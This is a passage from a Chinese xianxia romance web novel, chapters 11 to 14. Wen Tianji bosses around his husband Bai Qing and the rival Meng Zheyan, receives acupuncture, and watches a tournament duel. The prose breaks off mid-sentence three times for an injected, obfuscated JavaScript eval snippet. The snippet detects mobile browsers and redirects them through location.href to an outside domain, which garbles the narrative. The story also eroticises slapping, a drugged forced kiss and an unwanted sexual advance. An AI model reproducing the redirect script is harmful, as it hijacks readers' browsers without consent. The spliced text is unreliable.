“唉,乖,过来。”温天霁冲梦辙言勾了勾食指。 梦辙言忍着心中巨大的悲痛,慢步上前。 温天霁伸出手,揉了揉梦辙言的头顶,手感不错,很柔软:“从今往后,没有人能欺负你,因为你是我温天霁的小弟,听明白了吗?” 看到这场面的柏清,只觉得自己的牙齿都在泛酸。 11. 第 11 章 “明白了。”梦辙言微微颔首,语气颇为矜持,似乎并不是很相信温天霁所说的话。 温天霁也不在意梦辙言的态度好坏,小手一挥:“好了,既然你以后是我的小弟,那么你就从梦家搬出来,到温府里住吧。” “这……”梦辙言犹豫着,没有立即答应。 温天霁轻笑一下,眉眼弯弯,风情万种:“你在梦家日子也不好过吧。因为得罪了我,给你的资源应该大不如前,是不是?来温府,我罩着你。” 梦辙言心中一动,没想到温天霁竟然能够看穿他的窘境,这一点就连柏清都没有发觉,只能说这个温天霁心细如丝。 但是温天霁为人,他还是略知一二的,所以温天霁说罩着他什么的,他是丝毫都不信。 迫于赌约和允诺,梦辙言就算再无可奈何,也只能无奈点头:“好。” 第二轮比试在明日,既然第一轮比试已然结束,温天霁便打道回府,身后还跟着柏清与梦辙言。 回到了温府,温天霁吩咐梦辙言:“你去山下温泉打水过来,我要沐浴。” 同梦辙言交手,他可是出了不少汗,急需洗去汗水。 梦辙言之前虽然不相信温天霁会罩着他,但听到对方这么说,心中多少有点触动。 但一回来,温天霁就本性暴露,把他当奴仆使唤,这让他有些气闷。 梦辙言取了水桶,御剑飞下山,不多时,便回来,将浴桶灌满。 温天霁走到旁边,展开双手:“替我除衣,伺候我沐浴。” 梦辙言闻言,双拳紧攥,很是不甘心,但是一想到谁让自己下了赌约,还输了,只能愿赌服输。 正待他准备上前,替温天霁脱衣服,伺候对方洗澡的时候,柏清拦住了他。 柏清很不甘心,他原以为自己是特别的,就算是狗,那也是一条忠心耿耿的狗,是温天霁座下唯一的一条狗,在温天霁的心里,他或多或少应当有些分量吧。 但是没有想到,梦辙言的出现,让他意识到这一点——他是可以随便被替代的,不是不可或缺的。 这次不用男德系统提醒,柏清自己便危机感满满,上前乖顺道:“妻主,还是我来替你脱衣,伺候你沐浴。梦辙言毕竟是外人,不好让他瞧见了你的身子。” 温天霁丝毫没有自己是已婚男妻的自觉,觉得大家都是男人,没什么所谓。 “我的身体不就是两条胳膊,两条腿吗,能有什么特别的地方?再说了,你这个人,伺候我这么多天了,已经没有新鲜感了,还是换梦辙言来吧。” 说着,温天霁伸出食指,冲梦辙言勾了勾,声音慵懒魅惑:“过来。” 梦辙言这时候脸上已经微微泛红,挣扎道:“这不成体统吧……” “你还是不是个男人?怎么扭扭捏捏的?”温天霁奇了怪了,帮他脱衣服很难吗? 柏清强忍着心中翻腾的酸涩,擅作主张,对梦辙言说:“你出去吧,这里我来解决。” 梦辙言闻言,如蒙大赦,逃也一般跑出了房间。 温天霁气笑了,上前一步,紧贴着柏清的前胸,伸手拍了拍柏清的脸颊:“你活得不耐烦了是吧?连我的话都敢忤逆,是不是又想尝尝弑神鞭的滋味了?” 柏清只是用晦暗莫测的眼神注视着温天霁。 比起温天霁的身子被梦辙言看光,还要让梦辙言伺候温天霁沐浴,他更情愿忍受弑神鞭的鞭笞。 他不能接受温天霁有除了他以外的其他狗。 “我问你话呢!”温天霁不是一个有足够耐心的人,见柏清不回话,便抬手轻轻给了柏清一个巴掌,“又欠打了是吧?” 这一巴掌不痛不痒,比起教训,更像是调情。 柏清在掌风间,问到了淡淡的美人梅香气,沁人心脾,甚至来不及去想自己被打了,是否有损男子汉尊严。 等他回过神来,忍不住又想,温天霁打他的那只手非常柔软,若是不用来打他巴掌,而是用来抚摸他的脸颊就好了。 “不欠打。”柏清开口,声音沙哑低涩。 可若是像刚刚那样,不带羞辱的目的,而是因为娇蛮而打的巴掌,柏清还是很受用的,甚至隐隐因为那个巴掌生出了快感。 “妻主,我来替你脱衣。” 柏清生疏地解着温天霁身上繁复的外袍,一件件冬衣剥落下来,很快只剩下一件亵衣。 想到亵衣下面是光滑细腻,紧致光润的肌肤,柏清便有些心潮澎湃。 这时候,柏清开始庆幸,自己服下了绝世清心丸,这才不至于露出丑态,吓着温天霁。 温天霁斜睨了神色不明的柏清一眼,冷冷道:“转过身去。” 柏清颇为遗憾地听命,转了过去,走到屏风前面,不再观看温天霁沐浴。 过了一会儿,柏清想到了什么,问:“妻主,你为什么不让我伺候你沐浴,替你搓澡?” 温天霁闻言,想骂人了。 还能因为什么,因为你太禽兽了,我不放心! “呵呵,”温天霁冷笑两声,在自己身上打上美人梅调制而成的肥皂,“你这种满脑子黄色废料的人,我怎么放心你伺候我沐浴。” 柏清大为不解:“我哪里满脑子黄色废料了?” “好啊,你还不承认。”温天霁开始数落起来,“当初我中了春药,你趁人之危,亲了我,想要强上我,是不是?之后你替我暖床,兽性大发,含着我的手指吮吸,是不是?” “呃……” 柏清沉默了。 这两件事,的确是他所为。 但前一件事,是迫于男德系统的压力,而且他也不知道丁凌风已经去拿解药了,他还以为只有和温天霁欢好才能解除药效。 后一件事,倒是他心虚理亏,在梦中发了痴,以至于亵渎了温天霁。 柏清沉默着沉默着,想到一个问题,问:“妻主,如果把我换成梦辙言,你会让他伺候你沐浴,替你搓澡吗?” 温天霁不假思索:“当然。” “为什么?” 柏清觉得自己的心咕噜咕噜冒着酸气,竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156299|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然对好友梦辙言有了羡慕嫉妒的情绪。 温天霁嗤笑一声,回道:“因为梦辙言暗恋你,对我没有哪方面的心思,用起来我不会感到膈应。” 说到梦辙言喜欢自己,柏清还是不太敢相信。 他斩钉截铁道:“梦辙言不喜欢我。” 温天霁用葫芦舀了一勺水,往身上浇,慢吞吞道:“不喜欢你,会在成婚前夕来我房间,和我谈判,只为了让我们不要成婚?” “不喜欢你,他会着急心疼你,在你被我鞭打跪罚之后,偷偷送你金疮药?” “不喜欢你,他会冒着当我小弟的风险,和我定下赌约,只为了有机会让你同我和离?” 说到这里,温天霁叹了一口气:“你可真是个榆木疙瘩。” 说起来,原著中,除了柏清与何婉茹之间虐恋情深,柏清与梦辙言之间的感情作者也是耗费了不少笔力,浓墨重彩地描绘,写得那叫一个长篇累牍。 “丁凌风喜欢你,你知不知道?” “何婉茹钟情于你,你晓不晓得?” “梦辙言心系于你,你明不明白?” 温天霁便搓澡,便发出致命三连问。 柏清一开始还被问懵了,但是回过神来,道:“丁凌风喜欢我,我是知道的。但是梦辙言对我只有兄弟之情,妻主你实在是误会了。至于何婉茹,我看他分明更加喜欢你。” 说到何婉茹,柏清心中就气闷。 当初在丁家晚宴上,他还不觉得有什么,现在回想起来,温天霁与何婉茹共同舞剑,颇有些琴瑟和鸣的意思,这让他不禁觉得有些难受。 他理所当然地认为,他是温天霁的夫君,和温天霁琴瑟和鸣、惺惺相惜的人应该是他,而不是别的什么人。 至于四天前,柏清还恨不得将温天霁置于死地,他是统统忘记了。 温天霁听了柏清的话后,当即反驳:“何婉茹不是喜欢我,她是欣赏我,她喜欢的人是你这样的,高大俊秀,仪表堂堂,还有实力。” 柏清有些疑惑:“我和何婉茹一句话都没有说过,为什么你偏偏认定她喜欢我?” 这个问题把温天霁难倒了。 难道说,有一本小说叫做《龙傲天下》,里面写了何婉茹对你爱得死去活来,活来死去的吗? 不过柏清的话也启发了温天霁。 对哦,这一世因为蝴蝶效应,何婉茹与柏清一句话都没有说过,更别提中春药后两人享受鱼水之欢了。 按照现实来看,何婉茹和柏清根本就是见了几面的陌生人。 是他思维惯性,以为原著里发生的,现实里也会发生。 “好吧。”温天霁叹了一口气,“何婉茹的确不喜欢你,但是梦辙言喜欢你这件事,是板上钉钉的。” 柏清无奈,只能说:“我不相信他喜欢我,就算他喜欢我,我也不会喜欢他,我现在是你的夫君,自然只能喜欢你,敬你,爱你。” 温天霁:“……” 他能说,听到这段话,他鸡皮疙瘩都起来了吗? 12. 第 12 章 温天霁还没洗完澡,他的贴身小厮阿福就站在门口来报:“二少爷,丁小公子,柳大公子求见。” 他们来干什么? 温天霁挑了挑眉,漫不经心地开口:“知道了,你先让他们等着。” “好勒。”阿福得了命令之后就到大厅回话。 “丁小公子,柳大公子,我家少爷让你们歇息片刻,他有些事,稍后就来。” 阿福也是深谙说话之道,加上赔着一张笑脸,让人听了很是舒服。 客厅内丁凌风和柳琛忱正坐着。 丁凌风气质如兰如竹,清新淡然;而柳琛忱温文尔雅,一派君子风范。 阿福见他们点了点头,各自都说了“好”,心中不免有些不安,惴惴地擦了擦额头的虚汗。 他家二少爷惯会惹是生非,恃强凌弱,就连梦家的嫡长子梦辙言都敢打,眼下丁凌风和柳琛忱找上门来,他便以为,肯定是温天霁又招惹了麻烦,以至于人家找上门来讨要说法。 过了许久,从午时正刻等到午时三刻,也不见温天霁的人影。 丁凌风和柳琛忱喝了好几杯茶,肚子都饱了。 柳琛忱是个脾气好得不得了的人,因此没开口,但丁凌风忍不住问阿福:“你不是说稍等吗?小生等了三刻钟,可算不上稍等了吧?别不是温二公子不想见小生吧?” 阿福心中叫苦不迭,只得实话实说:“哪里的事,实在是我家公子正在沐浴,他沐浴有些仔细,便花费了些工夫。” 岂料丁凌风和柳琛忱听到这话,双双脸红。 丁凌风一听到温天霁在洗澡,便想起两日前温天霁衣衫不整,裸露出泛红的胸膛,搂着自己脖颈,水润的双唇轻轻擦过自己耳畔的情景。 柳琛忱更是直接,想到了昨日他替光裸的温天霁施针的情形,那时温天霁雪白的肌肤逐渐泛起嫩红,让他险些就升旗致敬。 这下两个人都没声音了,好在这时,温天霁姗姗来迟,后面还跟了个柏清。 温天霁刚洗完澡,面上、手上还泛着粉红,头发没梳好,一头瀑布般的青丝洒落在后背前胸,看起来有股慵懒淡然的美感。 温天霁拨了拨额前的碎发,并不正眼瞧人:“二位前来,所为何事?” 丁凌风和柳琛忱对视一眼,丁凌风率先开口:“温二公子,可否借一步说话?” 温天霁瞥了他一眼,冷淡道:“为什么要借一步说话?有什么话你就在这里直说。” 丁凌风:“这……” 温天霁耐心只有一点点,还是看在丁凌风给他送解药的份上,才缓缓道:“有话快说,不说的话,就请离开。” “好。”丁凌风想了想,措辞委婉,“前日你在丁府,小生照看不周,让你中了药。据小生所知,你虽然服下了解药,但是那种药物的药性还是催发了,你应当非常虚弱,怎地能神采奕奕地战胜梦辙言?你是不是用了什么透支自己的法子?” 柳琛忱闻言,眉间微微蹙起,言语中竟有隐隐责怪丁凌风的意思:“前日你们丁家举办宴席,理应让所有人安全,可……” 丁凌风自知理亏,黯然道:“是小生不好。” 阿福听到这里,才明白过来。 好家伙,这次竟然不是来讨要说法,而是来道歉的。 阿福心里顿时燃起一股怒火,他家少爷养尊处优,虽然为人骄横跋扈了些,但没有做什么伤天害理的事,怎么有人狠心给少爷下药! 一旁的温天霁见丁凌风和柳琛忱一唱一和,挥了挥手,表示并不想听这些话:“道歉的话就免了,事已发生,无法追回,我也没有责怪的意思。” 丁凌风听到这里,更加内疚了。 他虽然因为曾经暗恋过柏清,对温天霁很是憎恶,可是真的接触下来,他觉得温天霁并没有想象中那么讨人厌,相反的…… 温天霁似乎还很讨人喜欢? 丁凌风摇了摇头,将杂念从脑子中去除。 他知道温天霁本来身体就有病根,虚弱异常,听说就连练习剑法也不能超过一个时辰,加上春药的侵害,恐怕伤得更加严重了。 饶是如此,温天霁竟然还能够云淡风轻地说出“不责怪”之类的话,当真大度。 换做是他,不说明里找茬,暗地里肯定会偷偷记恨的。 可虽说温天霁原谅了他,但丁凌风自己心里也过意不去。 “温公子,”丁凌风道,“此事是小生亏欠了你,你日后若是有事相求,刀山火海,小生在所不辞。” 温天霁听到丁凌风一口一个小生,忍不住道:“快哉快哉,你应在江湖悠悠,饮一壶浊酒。” 丁凌风不解其意:“温公子这是何意?” “无意。”温天霁露出一个神秘的微笑。 丁凌风被温天霁突如其来的笑颜恍了神,回过神来,才想起正事:“温公子此次旭日大比战胜梦辙言,是否用了透支自己的法子?” 温天霁收回笑容,冷声道:“与你何干?” 丁凌风目露担忧:“小生怕温公子再这样下去,仙途尽毁。” 温天霁有洗髓丸在手,别说仙途尽毁,仙途无量都是谦虚的。 他懒得和丁凌风废话,直接道:“丁小公子,若是为了这件事,还请回吧。” 丁凌风摇了摇头:“你若是不肯放弃透支自己的法子,小生就不离开。” “那你待着吧。”温天霁翻了个白眼,转向柳琛忱,“柳大公子,你前来又是所为何事?” 柳琛忱道:“昨日替温二公子施针,只能维持十二个时辰,要想继续比试,还得继续施针。” 一旁默不出声的柏清,在此刻,吃醋的心达到了顶点。 本来丁凌风为了温天霁,说出了不离开的话,就让他很是难受。现在柳琛忱说要继续施针,那不得再次将温天霁看光? 作为温天霁的丈夫,他都没有看过光裸的温天霁,凭什么柳琛忱可以看,还可以看两次? 柏清终于忍不住开口:“这个针,是非扎不可吗?” 柳琛忱点头,语气温和而坚定:“是,非扎不可。” 柏清:“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156300|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他从来没有那么后悔,他是剑修,而不是医修。 听到这里,丁凌风再傻,也明白过来了:“柳大公子,是你替温二公子施针,让他透支自己?” 柳琛忱不懂得什么叫做撒谎,当即颔首:“是。” 丁凌风气得拳头紧攥,诘问柳琛忱:“你是医修对吧?你应当知道温天霁透支自己的身体,日后修仙会很障碍重重,可能仙途尽毁。你既然是医修,理当悬壶济世,怎忍心做出这种竭泽而渔的事?” 柳琛忱叹了一口气,无奈道:“你太年轻了。你以为温满在温家地位很稳固吗?” “什么?”丁凌风被柳琛忱毫不相关的话问懵了,“这和温天霁有什么关系?” 这时候,温天霁冷笑着问丁凌风:“你以为我哥哥凭什么坐稳温家家主之位?你以为我凭什么享受着温家最顶级的资源?若是我连一个小小的旭日大比都赢不下来,那么我将再无法享受资源,我哥的地位也岌岌可危。” 丁凌风被说得好一阵恍惚,最后呐呐道:“那你也不能……” “不是我能不能的问题,”温天霁徐徐道,“而是我不得不的问题。你以为我为什么会冲击元婴失败?便是温家族内有人下黑手。我只有获得旭日大比前三名,进入天衍宗,离开温家,才有一线生机。” 丁凌风这才知道温天霁的处境有多艰难,顿时对温天霁产生了深切的同情和怜惜之情。 “对不起……”丁凌风看着温天霁,宛如看着一朵被风吹雨淋的娇花。 半晌,他才担忧道:“可是就算你进入了天衍宗,到时候你也是废人一个,在天衍宗也举步维艰啊。” 温天霁耸了耸肩,无所谓地笑道:“走一步看一步喽,山穷水尽疑无路,柳暗花明又一村,到时候自然有法子。” 他这“山穷水尽疑无路,柳暗花明又一村”一出,在场的三人都纷纷惊叹不已。 柳琛忱敬佩道:“没想到温二公子除了剑道高超,文学上的造诣也不浅。” 温天霁:??? 什么文学上的造诣? 温天霁还是想了一下才明白,刚刚他引用陆游的诗句,给柳琛忱一种他很有才华的错觉。 他可不想当文抄公,当即解释:“这句话不是我自创的,是我从一个朋友那听来的。” 而听到他解释的柏清,内心有种深深的无力感:“你到底有多少好朋友?” 温天霁觉得莫名其妙,看向柏清:“关你什么事?” 柏清抿了抿唇,压下心头的酸涩:“妻主教训得是,与我无关。” 他这话,说得颇有些赌气的成分在。 温天霁懒得理他,转向柳琛忱:“柳大公子前来,东西都准备好了吗?” 柳琛忱道:“准备好了。” 温天霁刚好也觉得自己丹田内的灵力开始流散,浑身乏力起来,于是道:“那我们现在就开始吧。” 柏清心情很复杂,自己的老婆又要被柳琛忱这个臭小子看光了。 可恶,他还没有看过全$裸的老婆呢! 13. 第 13 章 等扎完针,已经是半夜了。 柏清一直立在房门外,脑海内想了很多很多。一想到自己香香软软的妻主被柳琛忱看光,他就嫉妒得要发狂。 梦辙言因为打赌输了,留在温府。因为温家权高势重,梦家也很是乐意梦辙言留下。 他站在柏清旁边,不解地问:“柏清,你是有什么把柄被温天霁拿捏住了吗?不然怎么一副你超爱的样子?” 柏清用莫名其妙的眼神看向梦辙言,同样不解地问:“他是我妻主,我是他夫君,我超爱他,有什么不对吗?” 梦辙言听到这个回答,简直要尖叫了:“柏清,现在温天霁不在,就我和丁兄在,你有什么苦衷,尽管说出来,我们会帮你解决的。” 丁凌风在一旁,听到自己的名字,用食指指了指自己:“我?” 不知道为什么,梦辙言要把他也牵扯进去。他算是看明白了,柏清应该没什么苦衷,单纯超爱而已,所以他并不想帮柏清解决什么所谓的苦衷。 果不其然,柏清淡淡道:“没有苦衷。” 这句话说得情真意切,就连柏清自己说出口的一瞬间,都忘却了他还有逼迫自己喜欢温天霁,对温天霁好的男德系统。 梦辙言急了:“你怎么会没有苦衷?” 柏清眉间微蹙,看向梦辙言,语气带着些凌厉:“你是很希望我和妻主感情不和吗?怎么,我和他两情相悦,你不舒服了?” 梦辙言和丁凌风听到柏清说他和温天霁两情相悦,皆是心头一酸。 梦辙言酸的是柏清,丁凌风却酸的不知道是谁。 说起来丁凌风也是喜欢过柏清的,那种喜欢很浅薄,因此在见识过温天霁的万种风情后,他便不知道内心究竟喜欢的是谁了。 柏清很明确地对梦辙言道:“我很感激你曾经对我那么好,但是若是你想要拆散我和娘子,请恕我不能同意。非但不能同意,恐怕我还会出离愤恨。” 梦辙言似乎是受不住柏清对温天霁的深情,后退两步,细长的双眸中涌上泪水,而后无声地跑了开去。 没多久,房门打开。 这一次和上次不同。 上一次,温天霁神采奕奕地出来了;而这一次,温天霁脸颊泛红,由着柳琛忱搀扶着出来。 柏清立马上前,从柳琛忱手中夺过温天霁,关切道:“妻主,你还好吗?” 温天霁踉跄一下,风铃耳环叮当作响,显得他既脆弱又妩媚:“还好。” 虽然他说的是还好,但声音虚浮,显然实际情况并不像他说得这般乐观。 温天霁累得很,直接吩咐柏清:“抱我回卧房。” 柏清颇为心疼地抱起温天霁,心中分外担忧。 温天霁躺在柏清怀里,懒散道:“多谢柳大公子,明日比试过后,也劳烦你过来为我施针了。” 柳琛忱温柔的双眸中充满了怜惜,他微微颔首,叹息道:“必然。” 温天霁这时候,将头枕在柏清的肩膀上,冲柳琛忱嫣然一笑,任由柏清将自己抱走。 到了卧室内,温天霁很是乏力,便让柏清替他脱衣。他只剩了一件亵衣,便躺在床上,冲柏清招了招手,唤忠犬一般唤柏清:“上来,替我暖床。” 柏清求之不得,当即洗了澡,热气腾腾地将温天霁搂在怀中。 温天霁很快就睡着了,但是柏清却睡不着。 修仙之人耳聪目明,即便在一片漆黑的情况下,他也能清晰地看清温天霁的样貌。 温天霁生得可以说是倾国倾城也不为过,但是他的样貌却丝毫没有攻击性,非常柔和秀美。一张巴掌大的鹅蛋脸,柳叶眉,杏眸即便合拢也弧度优美,鼻子挺翘而秀气,双唇不厚不薄正正好。 柏清伸出手,用拇指轻轻抚摸着温天霁的修眉。 柏清越看,心潮越发澎湃,不由自主地想起,在丁家温天霁中了春药后,那一个深吻。 温天霁水润的双唇非常柔软,只亲过一次,便会让人沉溺,中了毒一般上瘾。 柏清这时候不由得庆幸,还好自己吃了绝世清心丸,不然肯定又要举旗致敬了,那可就亵渎了温天霁。 可是柏清一想到,自己入赘温家,是被当作炉鼎,供温天霁采补进阶用的,柔软的心便又坚硬了几分。 “唉……”柏清喃喃自语,“如果你没有因为冲击元婴失败,如果丹田和任督二脉没有受损,不用拿我当成炉鼎,或许我们现在就可以和和美美地过日子了……” 柏清这样说着,苦笑一声,可惜没有如果。 自从亲吻过温天霁之后,柏清内心隐隐对温天霁已经生出了不该有的心思。 而根据温天霁不久之前对丁凌风所说的话来看,温天霁冲击元婴失败并非实力不济,也并非偶然,而是有温家的人从中作梗,暗害于他。 柏清从来没有这般痛恨过一个人,那个让温天霁变成废人的人。 可是他在痛恨的时候,竟然也有些感激,若非这个人,温天霁绝对不会需要一个炉鼎,因而看上自己,让他入赘。 柏清就这样,在纠结中陷入梦乡。 翌日,柏清被温天霁蹭醒。 温天霁下面翘得老高,正闭着眼,不知道做了什么梦,轻声地哼着。 柏清一下子清醒过来,激动地将温天霁压在身下。 这下温天霁也醒了过来,看到柏清压在自己身上,便怒斥:“你干什么?” “妻主,你【】了。”柏清声音沙哑低沉,“让我替你【】出来,好不好?” 温天霁刚刚做着美梦,自己正在被一个俊美万分的男人服务,没想到醒来看到的是柏清这张晦气的脸,顿时气不打一处来。 再听到柏清的话,他更是生气。 温天霁不由分说,直接甩手就是一个巴掌:“你欠打了是不是?” 温天霁这时已经恢复气力,这一巴掌又用尽全力,柏清的右脸立即红了起来。 柏清只觉得右脸火辣辣地疼,但是伴随疼痛而来的,不是以往那种屈辱,而是隐秘的快感。 柏清轻笑一声,浑然不在意:“若是妻主乐意,另一张脸也随便你打。” 温天霁:“……” 好家伙,整一个受虐狂是吧? 温天霁也没有客气,二话不说,又是一个竭尽全力的巴掌,甩在了柏清的左脸上。 “唔……”柏清发出一声闷哼,随后道,“妻主,憋着对身体不好,让我帮你,好不好?” “不好。”温天霁气得声音都颤抖起来,“你给我起开。” 柏清一手把着温天霁细瘦的腰肢,一手轻轻摩挲温天霁的眉眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156301|164957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“妻主,你经脉和丹田受损,若是拿我当作炉鼎,可供你修复——” 话还没有说完,温天霁一脚将柏清踹下床:“谁要拿你当作炉鼎,你别痴心妄想!不是什么阿猫阿狗,我都会碰的。柏清,你记住了,你就是我手下的一条狗,一个暖床的工具,休想让我碰你。” 柏清从地上起身,心中颇有些震惊。 原来……温天霁竟没有把他当作炉鼎的心思吗? 温天霁念了几句清心诀,将欲望压了下去,起身穿衣。 “柏清,”温天霁冷冷道,“不属于你的东西,不要肖想,你不配。” “是。”柏清乖觉地答应。 就在这时,一天多没有出声的恶毒男妻系统忽地响起:“恭喜宿主完成羞辱柏清的任务,奖励玄晶石已经发放到宿主的储物袋中。” 被柏清破坏的好心情,在听到这句话后,又重新恢复过来。 “走,去天衍宗渝州分舵。” “是。” … 到了渝州分舵,刚进门,就听见旁人窃窃私语。 “温天霁这个病秧子竟然战胜了梦辙言,看来不可小觑。” “可不是,他以前毕竟是渝州第一天才,虽然受了伤,但瘦死的骆驼比马大,总归还是有实力在的。” 温天霁不爽了,什么叫做瘦死的骆驼比马大,他分明是龙好不好,哪里是干瘦的骆驼。 三十年河东,三十年河西。 等比试结束之后,他服下洗髓丸,定要让这些人知道,什么叫做莫欺少年穷!什么叫做真龙!他才不是什么瘦死的骆驼。 这次温天霁抽到的对手不强,不到三招,对手就投降了。 “此子竟恐怖如斯!实力当真深不可测,连九龙神火罩都能一剑破开!” “真是晦气,我买了丁凌风夺魁,该不会最后是温天霁夺魁吧?” 温天霁很满意地听到别人或吹嘘自己,或惧怕自己夺魁。 总而言之,这些都是对他实力的肯定。 温天霁收剑,说了一句“承让”后,便头也不回地朝着柏清那边的演武场而去。 他赶到后,才发现与柏清对阵的,是一名温家弟子,叫做温流儿,是自己的堂弟。 如果他没有记错,温流儿的父亲温成是温家的大长老。 温家有多股势力,其中以家主温满为最,其次大长老温成,再其次是二长老温无痕。 虽然原著中没有记载,温天霁冲击元婴失败是因为被害,但温天霁自己还是能够猜出来一二的,而其中最有可能害他的人,就是大长老温成,温流儿的父亲。 温天霁这次本来不用参加旭日大比,原著中也是没有参加的。 但是温满迫于温家其他势力的威逼,而劝说自己参加。 这些其他势力,不用说也知道,肯定有大长老温成和二长老温无痕。 而大长老温成的得意儿子温流儿也参加了这次比试,如果温天霁被淘汰,而温流儿取得了前三名的好成绩,那么温成就有理由让温满退位,自己来做温家家主了。 想到这里,温天霁眸色暗了暗,对台上的柏清喊道:“夫君,加油,一定要赢啊!” 柏清闻言,心中一暖,想道:“妻主对我也不是全然无情,他只是口是心非罢了。” 14. 第 14 章 柏清得到了温天霁的鼓舞,心中激动异常。 本来他的剑法非常朴实无华,非常的稳健,没有一丝一毫的冗余,但他为了得到温天霁的赞许,使出了繁复精妙的剑招,活脱脱一只开屏求偶的孔雀。 但见漫天剑光、剑影交叠错落,一招又一招的剑法让人目不暇接。 温天霁是个精通剑道的剑修,看到这剑招,赞叹之余,心中不禁骂了柏清几句:“虽然好看,但是不实用,远不如之前的剑招来得实惠。” 温天霁是个实用主义者,自然看不惯柏清的剑招,柏清这一举算是抛媚眼给瞎子看了。 柏清和温流儿同属金丹前期,又同是剑修。 在温天霁眼里有了漏洞的剑招,在温流儿眼里却没有,温流儿只觉得柏清的剑法更加凌厉,更加具有攻势,让人应接不暇。 温流儿目光晦暗不明,这一战,他不能输。 他肩负的不只是自己的胜负,还有父亲温成的颜面。 父亲温成和大伯父温满斗了几十年,为了温家家主之位,只差撕破脸皮了。 他父亲为了让自己上位,不惜冒着身死的风险,给温天霁下药,让温天霁几乎成为了一个废人,他也因此享受到了以前温天霁才能享受到的待遇——天材地宝,法器,功法都任他挑选。 父亲还联合了二长老温无痕,逼迫温天霁也参与此次旭日大比,为的就是让温家人看清楚,温天霁不过是一个废物,而他温流儿才是温家的未来! 所以,这一战不能败! 尤其不能败给温天霁的赘婿柏清。 想到这里,温流儿从储物袋中取出一粒丹药,毫不犹豫地吞咽下去。 温天霁在看到丹药的第一眼,就认出了那枚丹药——龙虎蛇清丹,龙虎蛇清丹能够短时间内拔高修士的修为,但是代价也很大,以后修炼进阶会更加困难。 温流儿之所以会选择吞下龙虎蛇清丹,是因为他笃定,自己打不过柏清,迟早会成为柏清的手下败将,而他又有不能败的理由。 瞬间,温流儿身上的气势变得锐不可当。 柏清眉头紧皱:“金丹中期。” 本来他们两个都是金丹前期,但是温流儿吞下龙虎蛇清丹后,就晋升到了金丹中期。这样一来,温流儿就压了柏清一个小境界。 温天霁自然希望柏清能狠狠教训温流儿一顿,但是他也知道,温流儿服下龙虎蛇清丹后,实力大增,恐怕不是柏清能够对付的。 温天霁叹了一口气,对柏清道:“打不过就别硬撑。” “不。”柏清看向温天霁,眼中满是坚决,“妻主你放心,我现在是你的夫君,若是我输给了温流儿,丢的不仅仅是我的面子,还有你的面子。我的面子微不足道,但是妻主的面子我决不允许丢。所以,此战,不可败,亦不可降!” 温天霁不知道柏清抽的什么疯,忽然对他这么好。 温天霁福至心灵,忽然想到,柏清虽然在原著里是头种马,但是现在,他还是干干净净的处男一枚。 柏清唯一拉过小手,亲过小嘴的人就是自己,所以柏清该不会有雏鸟情节,所以才会对他这么好吧。 对于这一点,温天霁乐见其成。 既然柏清对自己好,那么温天霁也不是个没有心肝的白眼狼,他已经将柏清视为自己的宠物狗,自然会竭尽全力地对宠物狗好。 温天霁从怀中掏出一枚玉简,玉简上记载了《素女心经》的上半册,对剑道的见解精妙至极,能让人在短时间内顿悟。 “接着!”温天霁对柏清喊道。 柏清立马接过玉简,也不疑心温天霁会害自己,就将玉简放在额头上。 瞬间,《素女心经》的内容映入脑海,其对剑道的见解鞭辟入里,柏清一下子顿悟。 吸收《素女心经》只需要一刹那的辰光,柏清领悟之后,便将玉简重新扔回给了温天霁。 说时迟那时快,温流儿的剑招已至,柏清立即横剑应敌。 “刺啦”一声,柏清的剑到底是普通,虽然有灵力加持,却也抵不过温流儿那柄削铁如泥的宝剑。柏清手中那柄质朴的玄铁剑顿时断裂。 温天霁看到柏清的剑断了,心中一点不担心,还隐隐有些激动。 因为这是一个很重要的剧情点。 柏清十岁之前,被测出是火木双灵根。这两种灵根相互排斥,所有人都断定他是个废物,只有养母柏玲珑坚信他能够成一名厉害的修士。 养母柏玲珑在梦家待遇很差,经常被主母打压,因此灵石少得可怜。 她省吃俭用,好不容易凑齐了钱,给柏清买了一把还算不错的玄铁剑。 就算后来柏清和梦辙言交好,梦辙言屡次提出要给柏清换一把宝剑,他都严词拒绝了——只因这把玄铁剑是柏玲珑送的。 原著中写道,柏清后来一直用的就是一把断裂的玄铁剑,用它来一统修真界。 但是原著中没有交代,这把剑是怎么断裂的;原来,是在旭日大比时,被温流儿斩断的。 这柄剑,在柏清心中,可以说是地位卓然。 好家伙,温流儿直接将玄铁剑斩断,那柏清不得发疯啊? 温天霁朝柏清看去,柏清果然面沉如水,整个人酝酿着一股风雨欲来的气势,凶狠凌厉,阴暗深沉。 